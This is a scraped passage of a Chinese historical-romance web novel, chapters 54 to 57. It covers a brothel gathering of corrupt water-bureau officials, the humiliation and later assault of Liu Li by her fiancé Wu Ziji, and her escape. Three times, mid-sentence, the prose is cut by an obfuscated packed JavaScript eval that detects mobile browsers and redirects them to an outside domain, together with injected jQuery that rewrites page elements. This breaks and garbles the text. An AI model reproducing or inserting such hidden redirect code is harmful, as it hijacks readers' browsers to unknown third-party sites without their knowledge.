暗夜里，刘梨听见自己的心跳如鼓。 他贴着她的唇笑开，依旧抵着她说话，随着他张口一开一合，那柔软的嘴唇便轻羽般撩拨着她。 “傻瓜，下次亲你眼睛要闭上。” 依依不舍放开她，“夜深了，你早些安置。”刘梨讷讷点头。伍子骥深看她一眼，院门吱呀开合，确认他离去，刘梨才深呼一口气坐倒。 脑子里乱纷纷，一会是九鹿儿，一会是伍子骥。白日里见多的红像天幕一样向她压来，那些绮罗翻飞，束缚在一女子身上，身边携着同样一身红的杜淮琤冷冷凝视她。忽而那些红炸开，变成漫天血雨，裹挟伍家人惨烈的哭嚎，炸雷一样把刘梨惊醒。 原来是夜风吹开窗户打在窗棂上，夜里落了雨。 一层秋雨一层凉。 54. 五十四 桃叶渡水 秦淮河畔，河舫云集，灯船不绝。 其间有栋不打眼的小楼唤作“桃叶渡”，名字来于王献之的《桃叶歌》：“桃叶复桃叶，渡江不用楫；但渡无所苦，我自迎接汝。”这里头有王献之与爱妾“桃叶”典故。这位桃叶姑娘颇有文采，深得王献之喜爱。每每桃叶来往秦淮两岸，王献之放心不下她，亲自于渡口迎送，时日一久，世人便将此处命名“桃叶渡”。 男人们爱以名士自比，对此间甚是偏爱。“桃叶渡”的老鸨也是个会钻营的，买了几个识文断字的小戏，精心调教，在秦淮风月场里闯出了自己的名号。桃叶渡自诩格调比别家行院更高雅，鸨儿挑客，平常人轻易不得进入，反倒吊足寻芳客胃口，颇受文人老爷们追捧。 这会儿鸨子拦在堂前，脸上笑容谄媚，说出的话却是刻薄的。“客官瞧着面生，怕是外乡来的吧？”旁边的大茶壶揉着肩膀插嘴道：“可不是怎的？忒没规矩，直接往院里闯，拦都拦不住！” 鸨子脸皮仍挂着笑，“大爷别瞧我们这地方小，行院也有行院的规矩。没有熟客引荐，恕妈妈我不招待。” 杜淮琤那是章台走马见识过的，“引荐么，当然有的。”朝程锏使个眼色，程锏立刻掏出一张银票怼在老鸨子面前。 鸨儿只瞟了一眼，回身在南官帽椅里坐下，扇子带起阵阵香风。“客官虽有‘引荐’，只是今日不巧，楼里的姑娘都被叫了‘出局’，大爷若有意不妨改日再约。” 这是吊他胃口呢，开青楼的有一个算一个，都是恶鬼。管你多少身家，进来就得脱层皮！ 杜淮琤也不恼，目光逡巡过堂内，听楼上笑声晏晏，只作不知。“怪道都说桃叶渡是秦淮第一等，不瞒妈妈，我主仆二人从外埠来金陵，一路听了不少桃叶渡的花名，原不信，来了桃叶渡，见到妈妈才知道所言不虚。” 老鸨噗嗤一笑，“大爷拿我这半老徐娘开什么玩笑？”索性不装了，“饶是你口舌生花，今儿桃叶渡也是留不得你的。” “我哪里拿妈妈玩笑，实是觉得桃叶渡不同别处，摆设陈列考究入微，就是熏的香也不是凡品，可见妈妈高人雅致，不同凡俗。”杜淮琤句句恭维，一张俊脸着意讨好，便是老鸨纵横勾栏多年，这样的郎君也不多见，脸色不由得放缓。 千破万破马屁不破，鸨儿被捋顺了毛，带了得意，一把檀香扇舞得飞起，瞥一眼程锏，对杜淮琤道，“客官呐，我们虽是烟花巷，可咱们有咱们的规矩，不是那起子眼皮浅的，仨瓜俩枣就打发了。”帕子抿抿嘴，“咱们桃叶渡往来的非富即贵，若是什么人都放进来，冲撞了贵人，妈妈我可承担不起。客官还请见谅。”说完放下扇子端起茶碗，靠近嘴边只不喝。 这招式杜淮琤见惯了的，把自己标榜孤高，还不是嫌钱不到位？拿捏着姿态就是要卖个高价。便也不恼，装作看不懂端茶送客，大剌剌在鸨儿旁侧坐下，拿起桌上扇子就展开。 老鸨子把这扇子看得极重，不是今儿有贵客也舍不得拿它出来装点门面。放下茶碗要抢，被杜淮琤避开，起身想再夺，又怕扯坏扇子，急得说不出话。 “好扇子！”徐徐展开，“大骨透雕亭台楼阁，扇面烫花四时之景。”轻扇动，嗅了嗅，“老旃檀，苏工。” 鸨儿面色微动，“大爷识货，也是个玩家。” “哪里，家里老姨娘喜欢，多少知道点儿。”将扇子合上，正欲退回原主，拖长了音又道：“只是…” “只是什么？”鸨子倾身问道。 “只是好马无好鞍，少个相配的扇坠儿。”他一脸惋惜。 “扇坠儿我倒有几个，要么配上太大，要么料子不够精细，一直没找到称心的。” 等的就是这句话。“这有何难，在下经营海上生意，前些时候得了块南洋的明翠，琢了个勒子，正不知用在何处。现在看来正配妈妈这把扇子，如今赠予妈妈，也是它的造化。”鸨儿嘴上连说不要，待程锏取来玉勒子，不由得眼里放光。 通体莹润翠绿的玉石，一汪水似的凝在盒里，哪怕烛火荧荧，也看得出实在是块好玉。忍不住拿到手里仔细端详，“剔透无瑕，怪道只雕个勒子，这么好的料，雕别的可浪费。” “无绺不起花，妈妈是懂玉的。此物送给妈妈正合适不过。” 拿人的手短，鸨子看杜淮琤益发觉得亲和，只是刚才拒绝地太狠，这会下不来台。端起茶杯想喝水掩饰，怕引起误会忙放下。 杜淮琤哪有不明白的，“我自己那里也有块玉，只是绳结松散，不知妈妈这里可有手巧的姐姐，替我重新系个绳结，免得遗失了去，当然，小可另有重谢。” 鸨子得了台阶哪有不懂的？“哎哟，我有个女儿唤作锦娘，最是灵巧的，妈妈这就叫她出来。”把玉勒子攥在手心，边走边喊锦娘见客。 不多时出来个打扮妍丽的女郎，挽着杜淮琤往楼上去。房里已备下一桌齐整席面，锦娘把杜淮琤让到主位，见郎君容姿俊朗，心中暗喜。本来今晚的出条子轮不到她，楼里拔尖的姐妹都去了上房，想不到留下她竟有意外之喜。 “郎君听唱还是听曲？奴家从小研习音律，愿献艺郎君，以博郎君一笑。” 杜淮琤神思在旁处，凝神听外头动静，“不听唱不听曲。” 锦娘欣喜，扭捏着贴上他，“那……”杜淮琤冷不丁被她靠上来，这才反应她是误会了。“都听、都听，姐姐万般本事，今晚就全使出来。” 刘梨掀起车帘子一角，见伍子骥站在马前，一长随附耳与他说什么。她远远看他，再不是当初布衣韦带的模样，锦衣夜行，淡漠疏离，叫人看不透。 伍子骥感觉到刘梨的目光，朝他略勾了勾唇，交待完事情，走到车窗下，“原说带你去外头馆子，现下有档子事走不开，看来要失信于梨儿了。” 刘梨原想说没事，突然心念一转，“我随你一起去。” 伍子骥没料到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021180|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么说，还没想好托词，刘梨已掀开帘子，眼睛里熠熠含春，微噘着唇，“还是你要去什么不光彩的地方，不便带我？” 伍子骥最近好不容易哄得她心思回转，当然不想两人再生嫌隙，“不过是几个朋友攒的酒局，男人家酒后无德，怕梨儿见笑。” 她坐直身子，“带我去吧！成日闷在院里好不无趣，我听说秦淮风光旖旎，夜景更胜白日，你忙你的事，我跟着绝不添乱。” 她模样乖顺，话说的也可怜，伍子骥心念一动，鬼使神差答应了，舍了马不骑，上了马车与刘梨同乘。 雅间里锦娘歌声绵软，鸨儿隔着门听见里头并无异动，掏出翠玉笑眯眯往后头去了。杜淮琤开了条门缝，见外头无人值守，示意锦娘不要停，与程锏一前一后摸了出去。 今儿来得全是都水监自己人。觥筹交错，丝竹之音不绝。吴署令坐在下首，招呼河堤令一同举杯向杨少监祝酒。 “恭喜大人，贺喜大人！大人一招‘窝里翻’，就让那两家生了嫌隙，咱们隔岸观火，只等坐收渔利就好。” 杨少监得意，就着美人手饮了一杯，“商贾贪财好利，不过为一点蝇头蜗角就互相攀咬，实在叫人瞧不上。”底下附和声一片。 “那曲老头拿了漕船，正美着呢，这几日大张旗鼓地驭使船队，瞧着像是要大干一场。岂不知到了竹篮打水一场空，都与他人做嫁衣裳？” “断子绝孙的老东西，且由他张狂些时日，到时候还不是乖乖把漕船转交杨少监……不，宁王手里？”众人面色了然，杨少监唤人上酒。 房门打开，来的不是大茶壶或美娇娘，杜淮琤托着坛酒，无视旁人惊诧的目光，直接来到杨少监桌前。 “听闻杨大人要酒，杜某特带了自家的珍藏，望少监与诸位大人品鉴。”说完拍开酒坛封口，重换了酒盏，满斟一杯。 杨少监见他突然到访，也不惊讶。晾了这小子许多日，他再不想法子来会，也枉负“杜小阎王”的虚名了。 旁边的吴署令先站起来，“杜淮琤不得无礼，大人在此岂容你乱闯！” “闯了又如何，又不是你都水监的公廨，勾栏瓦舍，大人来得，我如何来不得？”他斜倚在酒桌前，歪着头答话，一副混不吝的样子。 那边鸨子得了信儿，暗叫不妙，慌慌张张赶来，被守在门外的程锏摔了个大马趴，再不敢上前。 杨少监抬手，遣散鼓乐丝竹，连各位身边伺候的美人一并赶了出去。 杨少监端起酒杯，“杜家是酿酒世家，上贡赋，不知杜二爷今天带的是什么好酒？” 杜淮琤给自己也满上一杯，与他碰了一响，桃叶渡用器果真讲究，酒杯发出清脆的“叮咛”一声。也不管杨少监什么反应，仰头干了。 杨少监自然不愿被小瞧了去，酒液入口，忍不住夸一句，“好酒！” 醇香清冽，口齿留香。他在宫里大宴上尝过，“白猿酿？” 55. 五十五 任性耽酒 “杨少监好见识，这正是我家的‘白猿酿’，”又凑上前低声道，“我亲自调兑的，比外头的更醇厚些，劲儿大！” 杨少监冷哼，“听说杜家酿成‘白猿酿’本是一段奇缘，不知传言真否？” “确实有些奇遇，说与诸位大人听，也是个乐子。”吴署令却闹将起来，“白猿献酿我等早有耳闻，不就是你家哪个砍柴的先祖救了只白猴子，猴子回报他，教他酿酒之法么？要我说，你家和畜生倒颇有缘法。”旁人听了都笑出声来，面带不屑。 “吴署令以前供职北地郡，与杜家也颇有缘法。” 吴署令气极，他是从北地郡出来的，杜家在北地郡势大，那会他想勾连都勾连不上。本想贬损杜淮琤，不想把自己坑了。还待再骂，被一旁河堤令按了回去，“他是个江湖里放浪的行商，你何苦与他以言相争？平白地辱没了身份。”又转头呵斥杜淮琤，“杜二爷费尽心机进来，就是逞口舌之快的？” 杜淮琤又给自己倒了一杯，“刚才说到白猿酿，世人只知白猿献酿，不晓得知其后还有一段仙人指路的典故。”见撩起众人兴趣，不紧不慢道，“先祖学得酿酒法，可总觉得和白猿亲自酿的有出入。百思不得其法，于幽处焚香祷告，求助神灵。也是我杜家福泽深厚，果有仙人托梦，嘱咐先祖在某地静待九日，届时从经过此处的三人身上各得一滴血融入酒内，方可大成。” “荒谬。”吴署令忿忿道。 杜淮琤不搭理他接着说下去，“话说第三日，先祖遇一秀才，与其清谈甚欢，秀才赠之一滴血；第六日，遇一武士，武士为人豪爽，得知先祖困境后割指取血，便得到第二滴血；第九日，期限将至，先祖遍等不到人，情急之下来了一痴人，不得已取了他一滴血。” 堂内静悄无声，杜淮琤默了默才继续讲述：“三滴血入酒，佳酿方成，饮之飘然欲仙。” 众人听完无不沉浸在对美酒的幻想里，只有杨少监冷冷道：“杜爷倒也不必拐弯抹角，论起指桑骂槐，他们这些读过书的可比你会讥讽。”秀才、武夫、痴人，这是骂他们这一屋子人酸腐、鲁莽、痴傻么？ “草民不敢，酒桌上说说玩笑话，逗诸位大人一乐罢了。”他一介商贾，再有钱在这些官儿眼里也就是个不入流的买卖人。杜淮琤没了漕船的筹码，纵然放低姿态也不过是个跳梁小丑，供人玩笑，倒不如先随俗浮沉、小心周旋，以期搏分生路。 杨少监却不这么想，杜淮琤，怪只怪你惹到了宁王，如今落在我手里，本官的功名富贵全仗你了。 “酒也喝了，杜二爷费尽周章前来，不是品酒这么简单吧？” “确实有点小事想麻烦杨少监。”渐入正题。 “你这是求人的样子？”杨大人眯起眼。 杜淮琤本来倚着酒桌说话，毕竟有求于人，杨少监话已出口，不得不撩起袍子，顺势单膝跪下，视线比杨少监矮了一头。 “草民从我丈人那儿匀了几船粮食，本想运回乡去作周转之用。不知为何船被扣了，至今还泊在港埠的浦洲码头。一打听才知道是都水监下的令。小民前来求请杨少监通融通融，放船离港，杜家必有重谢。” “哦？”杨少监故作惊讶，向下巡睃一圈，“这是怎么一回事啊？” 底下无人作声。 末座有个掌管漕运商税的小吏接收到眼神，才起身回禀：“回大人，杜淮琤用的这几艘漕船，属下检验过，因脚价未缴纳齐备，故而扣留。” “我的船队运脚均已缴纳齐全，有官府文书为证，大人怕是有什么误会？”说着从怀里掏出一沓文卷。 那小吏看也不看，转向他，“你那些文书上缴纳的是‘运脚’，另有‘函脚’未结；况且文书上署名的是杜家漕船，你现在用的曲家船，拿杜家的文书冒领曲家船，未治你个诈伪罪已是给曲老爷面子。” 杨少监作恍然大悟状，“既是你自己的疏漏，杜老板赶紧补了税费，重新办理文书去吧。” 被讹诈一笔本在杜淮琤预料之中，最要命的还是粮食。收回文书，“税费自然是要缴纳的。只是我船上那些粮食，当日也被官差转运到官仓内，他们一劲儿让我交搨地钱，却不说什么时候归还，还请……” 杨少监打断他，“水上的事杨某还能想想办法，上了岸，货物存栈，杨某管不着。” 杜淮琤还要开口，外头有人扬声道：“嚯，桃叶渡今儿可真热闹！伍某来晚了。” 门外进来两人，打头的是伍子骥，后面跟着的女子裙裾翩跹，竟是多日不见的刘梨。 杜淮琤本来满腹的话稿，见到刘梨刹那全忘了干净。她也在打量他，今晚伍子骥带了不少人，预料他必有大事，这才硬跟着出来，没想到就这么直愣愣和杜淮琤打了个照面。 堂内明明不少人，却落针可闻。杨少监慢慢靠向椅背，一副看好戏的架势。“子骥来迟了，当罚酒三杯。”又故意道：“杜老板还不认识吧，这位伍先生就是陆家酒舍的当家人，伍子骥是也。” 那边吴署令阴恻恻道：“大人有所不知，伍老板原先是杜家的家奴，与杜淮琤也颇有‘缘法’呢。” 杜淮琤对他的讥讽全然不觉，一双眼忍不住看向刘梨。许久不见，她好不好？他以为自己早放下了，现下才知道不过是自欺欺人。 刘梨被那炽热目光锁住，如何不知？心里烦乱，正思索该如何自处。堂上有声音问道：“这位是谁？” “正要与大人介绍呢，这是我未过门的妻子。也是被我惯坏了，今儿非吵着要跟我出来，这才不得已带了过来。”伍子骥一脸宠溺，扶着她肩膀，“梨儿，快与诸位大人见礼。” 刘梨上前半步，施然行礼。揉蓝衫子杏黄裙，檀唇不点而朱，清凌凌的一个人儿，硬是压下桃叶渡满楼的花娘。 伍子骥心情很好，“本月十九大吉，宜嫁娶，我娶她过门。特备了几桌薄酒，届时还请诸位大人赏脸前来观礼。”又特意跟杜淮琤说道：“二爷也来。” 十九？这么快？杜淮琤只觉得心底一抽，旁人说什么已经听不进了。 “好说，我等到时候一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021181|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来讨杯喜酒。”杨少监从刚才就一直看向阶下螓首低垂的女子，瞳孔发暗。河堤令是个伶俐的，见状向伍子骥道：“子骥父母不在身边，我们这些人托大算是长辈，不如……请新妇执壶，重新与上官见礼。” 这要求属实过分了，男人大掌紧捏成拳，仅剩一丝理智才未爆发。 这是拿她当粉头戏耍吗？刘梨缩着身子，半隐在伍子骥身后。身前忽而灯光大亮，竟是伍子骥侧开身，梁上灯笼照在刘梨身上，她不可置信望向子骥，慌乱地连连摇头。被十几双眼睛各怀心思地盯住，她避无可避。 “梨儿，难得诸位大人看重，这是你的造化，还不上前执壶倒酒？”伍子骥神色如常，搀住她的手暗暗用力。刘梨却似不认识他一般。她以为他会如珠似宝地将她呵护，如今却叫她去巴结上官，将她的自尊狠狠践踏！这比嘲弄她丫鬟身份还叫人绝望。 伍子骥不去看她微红的眼圈，抓住她手臂，手上使力，把她推到主桌前。 刘梨跌跌撞撞，是半跪在桌前的杜淮琤倾身托了她一下。刘梨不敢抬眼看她，心里不住道：“杜淮琤，不要看我，不要看我。” 快点结束这一切吧。 桌上正是杜淮琤带来的那坛白猿酿。短颈、鼓腹，双手拿起来打算往杯里倒。杨少监忽而收回酒杯，“这是杜老板特制的佳酿，你站那么远，别撒了酒。”他指指身边，“到这边来。” 杜淮琤倏地站起，“就是，这么好的酒，还是我自己来。”杨少监一把挥开他，“杜老板还是去准备你的文书吧，那么多粮食放在官仓里，可得早点运走，时间久了，指不定出什么事呢。”他意有所指。 杨少监瞳仁不大，一双眼冷冷盯住她，大有不罢休的意思。刘梨绕过桌子，尽力让双手不要颤。酒坛敞口，倒入酒盅洒出几滴。 杨少监突然攥住刘梨的手，“哟，可惜了的，洒出来了。”他斜眼瞟向伍子骥，手却攥着刘梨的往自己心口放。 刘梨只觉得身上发寒，杨少监的手像蛇一样绞杀住她，挣脱不开。她求救地看向伍子骥，多次救她于水火的男人似乎没发现眼前异样，低眉垂眼只做不知。嘴里泛起苦涩，深深的无力感袭来。 突然被人大力拉开，杜淮琤插在二人中间。“暴殄天物。”不顾旁人目光，低下头把桌上洒出的酒啜干。 刘梨好像被拧了一下，一瞬的疼痛叫她回转神思，顾不得其他跑出门去。 杜淮琤砸吧砸吧嘴，一脸意犹未尽。 杨少监揉揉手臂，“杜淮琤，能屈能伸，你可真丈夫。”瞥向不动如松的伍子骥，“瞧瞧，杜老板可比你会怜香惜玉。生怕我吓着你的未婚妻。”他在“你的”上加重音。 伍子骥心里冷笑，窝里翻在他这儿可不顶用。“内子脸皮薄，以后多带她出来见识见识就好了。” “伍子骥，你可真不是人。”杜淮琤擦擦嘴，忍不住沉声道。 “杜老板今晚像‘人’咯？刚才那一出，彩衣娱亲也不过如此。”众人哄堂大笑，烛火照出一片影影幢幢的鬼影。 56. 五十六 百鬼众魅 程锏把马牵来，杜淮琤不发一言上了马。“桃叶渡”的匾额像一张符咒，隔出人间、地府阴阳两界。阴间路上全是鬼，却无一鬼来伤人，阳世端然人样的，却分明是个鬼。 “走。” 刚要催马跑起来，突然听见一阵细碎的声响。巷口阴暗处有人招手，杜淮琤留下程锏守候，自己往那处查看。 “是你？” 刘梨隐在暗巷里，纱巾覆面，只露出一张潋滟的眼。他心里忽然就涌上酸楚。有那么一瞬想着什么都不要了，什么都不管了，就这样掳了她走，塞外、海上，不拘是哪里，她在身边就好。 理智在最后一刻回归，“你有什么事？” “杜淮琤，你快走！”时间紧迫，刘梨拣要紧的说。“伍子骥他们联合起来要对付杜家，你快带着修齐和大奶奶躲起来！” 原来是为了修齐。 “你们都要成亲了，刘姑娘跟杜某说这些是何意？”他背着光，刘梨看不见杜淮琤脸上神色。“莫不是夫妻俩一个唱白脸，一个唱红脸，戏耍于我？” 她这些日子在伍子骥面前故作乖顺，就是希望有机会给外面递消息。今晚上虎狼窝遭受屈辱，她还等在此处就是为了给杜淮琤示警。 “我没有别的意思，子骥……伍子骥他有他的不得已。”杜淮琤脸埋在夜色里，不放过她每一个表情。她还在为伍子骥申辩，即使刚才他在里面把她推向那些混账，她还试图解释伍子骥的“不得已”。刘梨冒险在都水监眼皮子底下示警，到底是为了给伍子骥正名？还是，还是为了他的安危？杜淮琤不敢深想。 “你不用替伍子骥狡辩，是我杜家遇人不淑，刘姑娘既已攀了高枝，往后再见面，休怪我不顾往日情义。”他喊她“刘姑娘”，刻意地生分。杜淮琤转身要走，刘梨情急下抓住他。她的手温暖绵软，杜淮琤硬着心肠才抑制住没把它包在手心。 “你斗不过他们的，伍子骥只是人家使的一柄刀，他们的胃口不止杜家的漕运舟楫。”刘梨几乎要哭出声，“杜淮琤，速速离开金陵，快走！”最后几乎是在乞求。 另一只手覆上她的，却狠狠撇开。“你的身籍文书都已经放还了，你我再没有干系，杜某的事刘姑娘用不着费心。” “杜淮琤！”她的声音哽咽，为了劝他离开不得不利用仅剩的那点情分。“要是你我真没干系，刚才在里面你为什么替我解围？” 杜淮琤正面她，牵起嘴角，说出的话冰冷刺骨，“因为看你可怜。”刘梨哆嗦了一下，听他继续道：“好歹从我杜家出来的，被人当粉头一样调笑，我瞧着烦。你那未婚夫也不中用，爷念在伺候过我一场，这才替你解围。你不会以为还有其他什么原因吧？”说完眼睛上下瞟过刘梨，一脸的讥讽。 刘梨几乎站立不住，自己一番善意竟是多余了。杜淮琤自知不能再留了，她破碎的样子衬得自己就是个无耻混蛋。狼狈转身，上马离去。 刘梨你不懂，我走不掉的。 杜淮琤不属于我自己，坐在这个位置，我只是杜家的卒子。整个家族业力背负在我身上，击鼓进军，杜淮琤只能前进，不能后退。 房里没点灯，刘梨睁着眼卧在床榻，双目一片干涸。房门突然打开，冷风卷着个人影一直来到床边。 来人一把拥起锦被里的她，喃喃自语：“太好了，你还在，你还在。” 他衣上一丝若有似无的脂粉味，刘梨厌恶地撇过头。 伍子骥很久没有这么慌乱过，回来的时候一路催马扬鞭，幸得是晚上，道上车马不多。刘梨密会杜淮琤的事属下很快禀告于他。怕刘梨赌气出走，更怕杜淮琤那小子将她拐带跑了，叫他再也找不到她。若不是都水监那帮人缠住脱不开身，他也不会担惊受怕到现在。 “我得早点把你娶回来。梨儿，你成了我的人，我才能安心。”他的脸摩挲着她的，寻找他渴望的那片芳泽。 “你喝多了。”刘梨双手拒在胸前，竭力推开他。 这小动作似惹恼了他。一把钳住她的双手，另一手攫过她的下颌，覆上他一直渴求的温软。 这个吻极赋侵略性，仿佛是要烙下他的专属印记。轻舐啃咬，慢慢加深。伍子骥的身体越来越热，施压在她身上的力道越来越大。一向儒雅的子骥发起狠来也是一身蛮力，她招架不得，后脑重重磕在床沿，身上的男人不为所动。刘梨感到有异，扭动身体拼命抗争。 反抗激怒了男人，他惩戒似的加重力道。心里莫名的忿恨不知道是因为谁？因为杨少监的侮辱？因为杜淮琤的觊觎？还是刘梨的通风报信？ 不，因为他自己。伍子骥忿恨的是他自己的无能。 这种无能的屈辱刺激他向更弱者施虐，似乎只有这样才能抹去心中的不堪和恨意。他失了理智，耳边有裂帛之声，伍子骥完全放出了封印在心底的魔鬼！ “你滚！滚出去！” 借着廊下风灯，微弱烛光映照出榻上一片狼藉，“梨儿，对不起，我太在乎你，太害怕失去你了。” 一只软枕掷过来，“你出去！” “好，都听你的。”他走到门边，又回身道：“梨儿，我要你知道，吾心所向，唯尔一人。无论如何，我都不会放弃你。” 刘梨病了。 她高烧不断，成日里昏昏沉沉，难得清醒的时刻也只啼哭不止。请来的大夫近不得身，勉强胡乱开些安神的药，哪里喂得下去？不消几天，如花似玉的姑娘变得形容枯槁，恹恹的毫无生气。伍子骥来探过几次，看不到他还好，认出是他，不待靠近刘梨就尖叫发狂。这小院本就不大，凄厉的哭喊声能传出两条街去。很快邻里街坊都知道这家院里有个癫狂的疯婆娘。 石榴树掉了最后一片叶子，刘梨靠在床头，眼神空洞望着窗外一方狭小天空。 九鹿儿带来了锦罗阁做好的嫁衣，当日刘梨亲自挑的布料款式，放在床边红得刺眼。她坐在床前，难得没激起刘梨的疯病。 “你今天倒安静。”九鹿儿记得她说过自己长得像她一位姐妹，“难道因为我长得像你的故人，这才对我有点好脸色？” 刘梨眼神回落到她脸上，喃喃道：“依菲姐？” “这位依菲小姐一定也是个美人！哎哟，漂亮女人都是有些相像的。”她娇笑着捂住嘴，故意带了几分造作，不过大美人的造作也是带着风情的。 “你不是她。”刘梨挪开眼，“依菲姐见我这样，不会无动于衷。” “见你怎样？”九鹿儿收敛了神色，再次上下打量她，瘦得脱了相，脸上青白无血色，衬得一双眼更大。“就你这样，他还要娶你过门，真是好福气。” “这福气不如给你？”刘梨嘴角牵动，“哦，忘了，你是他叔父外室，进不了伍家。” 九鹿儿嚯地起身，上前抽了她一巴掌。这一掌打得刘梨耳鸣眼花，嘴角有咸腥流出。 “不许你提到他！”九鹿儿怒目圆睁。 这个他是谁？伍子骥？还是他叔父？“我就说，以后我是伍家的主母。子骥那么爱我，我想怎样就怎样。”她仰着脖子，继续说出锥心的话。“我要子骥收回你手上的所有产业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021182|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，把你这低贱外室远远打发了！” “他敢！”蔻丹戳进掌心，“伍子骥发家的本钱都是老娘的，想把我一脚踢开，他做梦！” “他有什么敢不敢的？他说……”刘梨故意顿了顿。 “贱蹄子吞吞吐吐做什么？有什么话敞开说便是！” 刘梨一脸为难，“实在是太难启齿，九姨靠过来，我只说与你听。” 九鹿儿气昏了头，不疑有他，刚靠过去，一把被刘梨扼住身子，一柄银簪抵住她颈间大脉。“九姨得罪了，麻烦你送我出去。” 九鹿儿没想到她来这一招，气极反笑。“你说话都带颤，能跑得远吗？” “不劳您费心，就是死，我也要死在外边。” 她笑得更欢了，刘梨差点撑不住她，银簪威胁地朝前顶了顶。“大好年华莫轻言生死，”她不知想到什么，“罢了，九姨疼你，送你一程。” 外间的随侍不料刘梨竟挟持了九姨出来。她比九姨略矮半头，要害全被遮住，一帮人即使想出手，怕连累到九姨也不敢轻举妄动。九鹿儿被银簪抵着，哭得梨花带雨：“你们别乱动，别吓到这疯女人，仔细她伤了姐姐我的脸！” 今日来送婚仪用品，正巧赶了马车过来。刘梨命令人把马车腾空，只留一车夫，挟着九鹿儿上了马车。她的声音隔着车帘传出，“你们别跟过来，刘姑娘说了，到地方自然会放我回来。”众人眼睁睁看马车走远，只有哑伯气得跺足捶胸。 马车一路出了草场门，两个女人下车，回身钻入清凉山。 漫无目的走出好远，刘梨身子没恢复，身上还在出虚汗，倚在树干上大口喘气；九鹿儿身娇肉贵，也早受不住了。 啐了一口，“早知道这么辛苦，老娘就不该陪你演这场戏。” 刘梨喘过气，望着抱怨的女人，“为什么帮我？” 九鹿儿正把袖上的苍耳往下扯，眼不看她，“没有为什么，就是想给他添添堵。” 刘梨咧嘴笑开，许是因为逃出牢笼，心里的郁气暂时一扫而空。 “你恨他吗？”九鹿儿看到她的笑脸，鬼使神差问道。 恨吗？刘梨摇摇头。“他以前太苦了，变成现在这样，我只有可怜他。” 九鹿儿冷笑，“心疼男人可没好下场。” “我不心疼他，我理解他的恨，理解他为了光复门楣做的抗争。但我不能原谅他，他的那些肮脏手段，和当初迫害伍家的那些人何异？报仇雪恨，一定要把受过的苦难再施加给无辜人吗？” 九鹿儿不打算反驳她，半晌才道：“当初被迫害的伍家人里，有我的心上人。”刘梨抬起头，听她揭开那些不愿提起的痛苦往事。 “他走的时候，连个全尸都没有。”双眼漫上泪花，继续道：“我看着他活生生被人铡了，看着我心心念念想进的伍家一夕被烧成灰烬。我无法为他申冤报仇，满腔恨意无处宣泄，生生要被逼死！” 她双目通红，几乎是咬牙道：“幸好伍子骥找上我，旁的我不在乎，只要他有手段复仇，我什么都听他的。刘梨，你不是我们，没经历过我们的苦痛，未经他人苦，莫劝他人善。” 她擦掉眼泪，抿了抿鬓发。“现在想来，我帮你逃出来，就是看出你对伍子骥的影响，我不想你干扰他复仇的决心。刘梨，九姨就送你到这儿了，后会无期。” 刘梨无言以对，做了最后一把努力，“莫做伥鬼。” 九鹿儿凄然一笑，捋下一枚戒指和耳上一对丁香，塞到刘梨手里。 “我已经是了。” 57. 五十七 豺虎遘患 刘梨在山上猫了半日，摸下山来。九鹿儿告诉过她往哪个方向可以到渡口，她给的首饰足以支撑她离开金陵。刘梨想了想，悄悄返身回城，往城南找了处安身之所。 金陵是留都，城池构筑都遵循王都标准，不仅设有宫殿、园林，还保留了六部等衙署机构。宁王原本封地钱塘，不过仗着母舅家势力，央告圣上改宁王府于金陵，并掌管留守司，直接握着江南财赋，北边都城供给，几乎全在宁王一人手里。 圣人自昭仁太子“厌祷案”后，对宁王便少有拘束，朝里暗传下一位储君人选怕是就落在宁王身上。 朝堂的事小老百姓不懂，刘梨在城南墙壕根下找了一处小房子。这爿民居是依着城壕而建的棚户区。大庥承平已久，讽刺的是原本用作防御外敌的墙垣变成了流民聚集之所。沿着墙垣规模越建越大，失了地的佃户、破了产的赌徒、暗娼、蟊贼，三教九流全汇聚在此。 前头有任知府在任的时候看不下去，着力清肃整顿了一番，倒是清平宁静了一段时日，后来知府得了考绩右迁擢升，这块又恢复了往昔容貌。 刘梨赁的这家是个边户，拢共两间房，一间小厨房和一间卧房。厨房兼作柴房，堆了柴火后勉强容一个人转身；卧房大点儿，一张卧榻外另有一张歪腿的八仙桌，窗户纸打补丁似的这糊一块那糊一块，本就不亮堂的屋里更加晦暗。好的是依着墙垣围出一个小院儿，邻家一棵苦楝树伸出枝桠直到她院里，遮出一方隐蔽天地。 